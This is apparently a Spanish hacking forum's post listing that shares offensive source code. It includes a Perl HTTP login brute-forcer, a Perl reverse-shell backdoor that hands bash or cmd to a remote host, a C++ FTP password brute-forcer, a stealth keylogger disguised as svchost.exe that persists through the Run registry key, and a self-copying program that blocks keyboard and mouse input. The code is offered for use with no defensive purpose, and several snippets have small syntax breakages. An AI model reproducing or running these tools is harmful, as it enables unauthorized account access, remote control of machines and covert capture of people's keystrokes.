Perl / Http Brute Force
Enero 27, 2011, 08:45:35 PM
Código: perl
!/usr/bin/perl

use Carp;

use WWW::Mechanize;

#open pwlist
open INPUT, "file.txt";
my $pw = 0;
@lines = <INPUT>;
close INPUT;

my $webaddress = 'http://www.target.com/forums/login.php';

my $username = 'zondoz';

my $mech = WWW::Mechanize->new(

    cookie_jar      => {},
);

login:

my $password = @lines[$pw];

my $response = $mech->get($webaddress);

if (!$response->is_success) {

    die "Login page unreachable $webaddress: ",  $response->status_line, "\n";

}


# Login

$mech->field('username', $username);

$mech->field('password', $password);

my $response = $mech->click();

if ($response->is_success) {

    goto checkpw;

} else {

    die "Login failed: ",  $response->status_line, "\n";

}

1;
checkpw:
if($mech->content( format => 'text' ) =~ m/You last visited/i){
print "++++++++++++++++++++\n";
print "LOGIN SUCCESSFUL!\n";
print "USERNAME: $username\n";
print "PASSWORD: $password\n";
print "++++++++++++++++++++\n";
} else {
print "trying $username:$password attempts:$pw\n";
$pw ++;
goto login;
}
#34
Perl / BackFoS v0.2 [FOS TEAM BACKDOOR]
Enero 27, 2011, 08:45:11 PM
Código: perl
#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [-----] ##########
#                                                         #
#     BackFoS is a Backdoor in PERL for  all  Servers     #
#            c0dex by Vengador de las Sombras             #
#                                                         #
#          USAGE: Perl BackFoS.pl <HOST> <PORT> <OS>      #
#     You need have listen nc, cryptcar, putty or other   #
#      program on <PORT> to connect with the backdoor     #
#                                                         #
#=========================================================#
#                                                         #
#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #       
# LiƒÂ«ssiiƒÂ«m TiƒÂ¡riƒÂ¡lom, Phonix & ArgeniversoHack & #RE members #
#      Especial Thanx To Plaga, for the help =)           #
#                                                         #
#################### (c)FoS TeaM 2008 #####################

use IO::Socket;

print q(

=================================================
   BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: BackFoS.pl <HOST> <PORT> <OS>";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                     || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                     || die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [-----]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}
#35
Back-end / [Paper] Vulnerabilidades web
Enero 26, 2011, 12:04:30 PM
Bueno dejo el link directo del paper, para no hacer copy y paste, espero que os guste.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
#36
Hacking / Intrusion Mediante Net Bios
Enero 25, 2011, 06:42:25 PM
Aunque este tema ya es un poco viejo, lo pongo por que es muy bueno para aprender algunas cosas y ademas de eso es muy interesante. Espero que les guste y les sirva. Esta en pdf.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#37
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero que os sirva!:O
#38
Códigos Fuentes / FTP Bruteforce
Enero 22, 2011, 10:10:02 PM
Código: c
/*****
Ftp Brute Force , v1.0.
Written By WaReZ 
-----------------
Options:
        Single Username - Password list , Range passwords.
        Usernames list - Passwords List , Single password , Range Passwords.
---------------------------------------------------------------------------------------------
Compile:       
        g++ ftp.cpp -o ftp.exe

---------------------------------------------
*****/

#include <iostream>
#include <winsock.h>
#include <fstream>
#include <time.h>
using namespace std;

int ftp_connect(string user,string pass,char *site) {
         
sockaddr_in address;
         
size_t userSize = user.length()+1;
size_t passSize = pass.length()+1;
char username[userSize],password[passSize];
ZeroMemory(&username[0],userSize);
ZeroMemory(&password[0],passSize);
         
strncpy(username,user.c_str(),userSize);
strncpy(password,pass.c_str(),passSize);
       
char recv2[256];
ZeroMemory(&recv2,256);
       
hostent *host;
host = gethostbyname(site);

if(host != NULL)
{
           
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           
address.sin_family = AF_INET;
address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
address.sin_port = htons(21);     
 
 
int c,s,r;
c = connect(sock,(struct sockaddr*)&address,sizeof(address));
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,username,strlen(username),0);
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,password,sizeof(password),0);
r = recv(sock,recv2,sizeof(recv2),0);


  if(strstr(recv2,"230"))
  {
     return 230;
  }
       
  else if(strstr(recv2,"530"))
  {
     return 530;
  }
 
  else if(c != 0)
  {
     return -1;
  }
                   
  else
  {
     return WSAGetLastError();
  }
 
}

  else
  {
    return -1;
  } 
 
}         

int main(int argc,char *argv[])
{
     
cout << "\n#####################################\n"
         "# Ftp Brute Force                   #\n"   
         "# Written By WaReZ                  #\n"
         "#####################################\n\n";
 
WSADATA wsaData;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
  cout << "WSAGetLastError(): " << WSAGetLastError();
  exit(1);
}
 
         
if(argc < 2)
{
  cout << "Usage: " << argv[0] << "\n\n";
  cout << "-user         singal username\n";
  cout << "-ul           usernames list\n";
  cout << "-start        start range\n";
  cout << "-end          end range\n";
  cout << "-pl           passwords list\n";
  cout << "-sp           singal password for users list\n";
  cout << "-site         site that be checked\n\n";

  cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
}

       
else
{
   
  cout <<  "[~] Starting ...\n\n";
  char buffer[256],rcv[256]; 
 
 
  int check = 0;
  int tstart = 0 ,tend = 0;
  int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
  string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  char passwords[256],site[256] = "", users[256];
  ifstream passlist,userlist;
 
for(int i = 1; i <= argc-1;i++)
{
             
    if(argv[i+1] != NULL)
    {
         
     if(strstr(argv[i],"-user"))
     {
        realuser = argv[i+1];       
        user = "USER ";
        user += argv[i+1];
        user += "\r\n";
        u = 1;                   
     }
   
     if(strstr(argv[i],"-start"))
     {                       
        tstart = atoi(argv[i+1]);
        start = 1;             
     }
   
     if(strstr(argv[i],"-end"))
     {                     
        tend = atoi(argv[i+1]);
        end = 1;                                   
     }
   
     if(strstr(argv[i],"-pl"))
     {                     
        passlist.open(argv[i+1]);
        if(!passlist.fail())
        {
        pl = 1;
        }                           
     }
   
     if(strstr(argv[i],"-site"))
     {                             
       site2 = argv[i+1];
       strncpy(site,site2.c_str(),256);
       check_site = 1;                           
     }
   
     if(strstr(argv[i],"-ul"))
     {
        userlist.open(argv[i+1]);
        if(!userlist.fail())
        {
        ul = 1;
        }                 
     }
   
     if(strstr(argv[i],"-sp"))
     {
        sinpass = argv[i+1];
        realpass = argv[i+1];
        spass = 1;                       
     }
   
  }       
}

time_t time1;
time1 = time(NULL);

if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
   for(int p = tstart; p <= tend; p++)
   {   
         attempt+= 1; 
       
         pass = "PASS ";
         pass+=itoa(p,buffer,10);
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
       
         if(b == 230)
         {
             cout << realuser << "::" << p << " - Succeed" << endl;
             break;
         }
       
         else if(b == 530)
         {
             cout << realuser << "::" << p << " - Fail" << endl;
         }
     
         else if(b == -1)
         {
             cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
         }
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         attempt+= 1;
                     
   }
}
 
else if(pl == 1 && u == 1 && check_site == 1)
{     
   while(!passlist.eof())
   {                         
      attempt+= 1; 
     
      passlist.getline(passwords,100); 
      pass = "PASS ";
      pass+= passwords;
      pass+= "\r\n";
     
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << realuser << "::" << passwords << " - Succeed" << endl;
          hacked = 1;
          break;
      }
       
      else if(b == 530)
      {
          cout << realuser << "::" << passwords << " - Fail" << endl;
      }
   
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                           
   }
 
   if(hacked == 0)
   {
       cout <<  "\n\nNon password was matched.\n\n";
   }
}
 
else if(ul == 1 && pl == 1 && check_site == 1)
{       
   while(!userlist.eof())
   {
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n";                       
     
      while(!passlist.eof())
      { 
         attempt+= 1; 
                                   
         passlist.getline(passwords,100); 
         pass = "PASS ";
         pass+= passwords;
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
   
         if(b == 230)
         {
             cout << users << "::" << passwords << " - Succeed" << endl;
             correct_pass+= users;
             correct_pass+= "::";
             correct_pass+= passwords;
             correct_pass+= "\n";
             hacked+= 1;
             passlist.clear();             
             passlist.seekg(0,ios::beg);
             cout << "-------------------------\n";
             break;
     
         }
       
         else if(b == 530)
         {
             cout << users << "::" << passwords << " - Fail" << endl;         
         }
     
         else if(b == -1)
         {
            cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
            error = 1;
            break;   
         }     
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         if(passlist.eof())
         {
            cout << "-------------------------\n";             
            passlist.clear();             
            passlist.seekg(0,ios::beg);
            break;                   
         }

     }
   
     if(error == 1)
     {
         break;
     }       
}
        if(error != 1)
        {
            if(hacked > 0)
            {             
                cout << "\nHacked Users:\n\n";
                cout << correct_pass;
                cout << "\n" << hacked << " Users Was Hacked\n";
            }
           
            else
            {
              cout << "\n\nNon password was matched.\n\n";   
            }
        }
}

else if(spass == 1 && ul == 1 && check_site == 1)
{
   while(!userlist.eof())
   { 
      attempt+= 1; 
     
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n"; 
       
      pass = "PASS ";
      pass+= sinpass;
      pass+= "\r\n";
           
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << users << "::" << realpass << " - Succeed" << endl;
          fileusers+= users;
          fileusers+= "::";
          fileusers+= realpass;
          fileusers+= "\n";
          hacked+= 1;
      }
       
      else if(b == 530)
      {
          cout << users << "::" << realpass << " - Fail" << endl;         
      }
     
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                                         
   } 
      if(error != 1)
      {                     
          if(hacked > 0)
          {       
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
   
          else
          {
              cout << "\n\nNon password was matched.\n\n"; 
          }
       } 
       
}

else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
    while(!userlist.eof())
    {                       
       userlist.getline(users,100);
         
       for(int d = tstart; d <= tend;d++)
       { 
         
          attempt+= 1; 
         
          user = "USER ";
          user+= users;
          user+= "\r\n";
         
          pass = "PASS ";
          pass+= itoa(d,buffer,10);
          pass+= "\r\n"; 
         
          int b = ftp_connect(user,pass,site);
     
          if(b == 230)
          {
              cout << users << "::" << d << " - Succeed" << endl;
              fileusers+= users;
              fileusers+= "::";
              fileusers+= itoa(d,buffer,10);
              fileusers+= "\n";
              hacked+= 1;
              break;
          }
         
          else if(b == 530)
          {
              cout << users << "::" << d << " - Fail" << endl;         
          }
               
          else if(b == -1)
          {
             cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
          }
         
          else
          {         
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
          } 
           
      }
          cout << "----------------------\n"; 
   }
   
      if(error != 1)
      {             
          if(hacked > 0)
          {
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
         
          else
          {
             cout << "\n\nNon password was matched\n\n";   
          }
      }           

 
else
{
    if(tstart > tend)
    {
      cout << "Error: Start range bigger then end range.\n";       
    }
   
    else if(strlen(site) < 1)
    {
       cout << "Error: You forget to write the site.\n";
    }
   
    else if(passlist.fail() || userlist.fail())
    {
      cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";   
    }
     
    else
    {
      cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
    }
}     

time_t time2;
time2 = time(NULL);
cout << "\nAttempts: " << attempt << "\n";
cout << "Time elapsed: " << time2-time1 << "\n";
}
}
#39
Códigos Fuentes / Keylogger basico
Enero 22, 2011, 10:06:48 PM
Código: c
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*                                                                                  *
*  File: SVCHOST.c                                                                 *
*                                                                                  *
*  Purpose: a stealth keylogger, writes to file "svchost.log"                      *
*                                                                                  *       
*  Usage: compile to svchost.exe, copy to c:\%windir%\ and run it.                 *
*                                                                                  *
*  Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved   *
*                                                                                  *
*  This program is free software; you can redistribute it and/or                   *
*  modify it under the terms of the GNU General Public License                     *
*  as published by the Free Software Foundation; either version 2                  *
*  of the License, or (at your option) any later version.                          *
*                                                                                  *
*  This program is distributed in the hope that it will be useful,                 *
*  but WITHOUT ANY WARRANTY; without even the implied warranty of                  *
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                   *
*  GNU General Public License for more details.                                    *
*                                                                                  *
*  You should have received a copy of the GNU General Public License               *
*  along with this program; if not, write to the Free Software                     *
*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.     *
*                                                                                  *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
   
    int test,create;
    test=test_key();/*check if key is available for opening*/
         
    if (test==2)/*create key*/
    {
        char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
        create=create_key(path);
         
    }
       
   
    int t=get_keys();
   
    return t;


int get_keys(void)
{
            short character;
              while(1)
              {
                     sleep(10);/*to prevent 100% cpu usage*/
                     for(character=8;character<=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         {   
                             
                             FILE *file;
                             file=fopen("svchost.log","a+");
                             if(file==NULL)
                             {
                                     return 1;
                             }           
                             if(file!=NULL)
                             {       
                                     if((character>=39)&&(character<=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }       
                                     else if((character>64)&&(character<91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     {
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;   
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                           
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;   
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                               
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }       
                                   }   
                              }       
                    }   
                }                 
                     
            }
            return EXIT_SUCCESS;                           
}                                                 

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
   
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {   
        check=1;
        return check;
    }       
           
    reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
   
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
         
    RegCloseKey(hKey);
    return check;   
}
   
int create_key(char *path)
{   
        int reg_key,check;
       
        HKEY hkey;
       
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
               
        return check;
}
#40
Códigos Fuentes / Virus Mouse v4 Pablo
Enero 22, 2011, 10:04:35 PM
Código: cpp
#include<windows.h>
#include<tlhelp32.h>
#include<winable.h>




int test_key(void);
int create_key(char *);



int main(void)
{
    int test,create;
    test=test_key();

    if (test==2)
    {
        char *path="c:\\WINDOWS\\svch0st.exe";
        create=create_key(path);

    }

HWND inv;
    AllocConsole();
    inv=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(inv,0);
int c;

for(;;)
{
BlockInput(true);
}
         char root[60]="C:\\Windows\\";
        char nombre[60]="svch0st";
        char path[256]="svch0st";
        strcat(nombre,".exe");
        strcat(root,nombre);
        HMODULE copiar = GetModuleHandle(0);
        GetModuleFileName(copiar, path, 256);
        CopyFile(path,root,false);
}

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {
        check=1;
        return check;
    }

    reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;
}

int create_key(char *path)
{
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;

}


Bueno pues ya esta desactivo el teclado, desactivo el raton, y lo copio al inicio.

Creo que ya la ultima version sera para modelar lo que me dijo regx sobre el user si es Admin.

Saludos!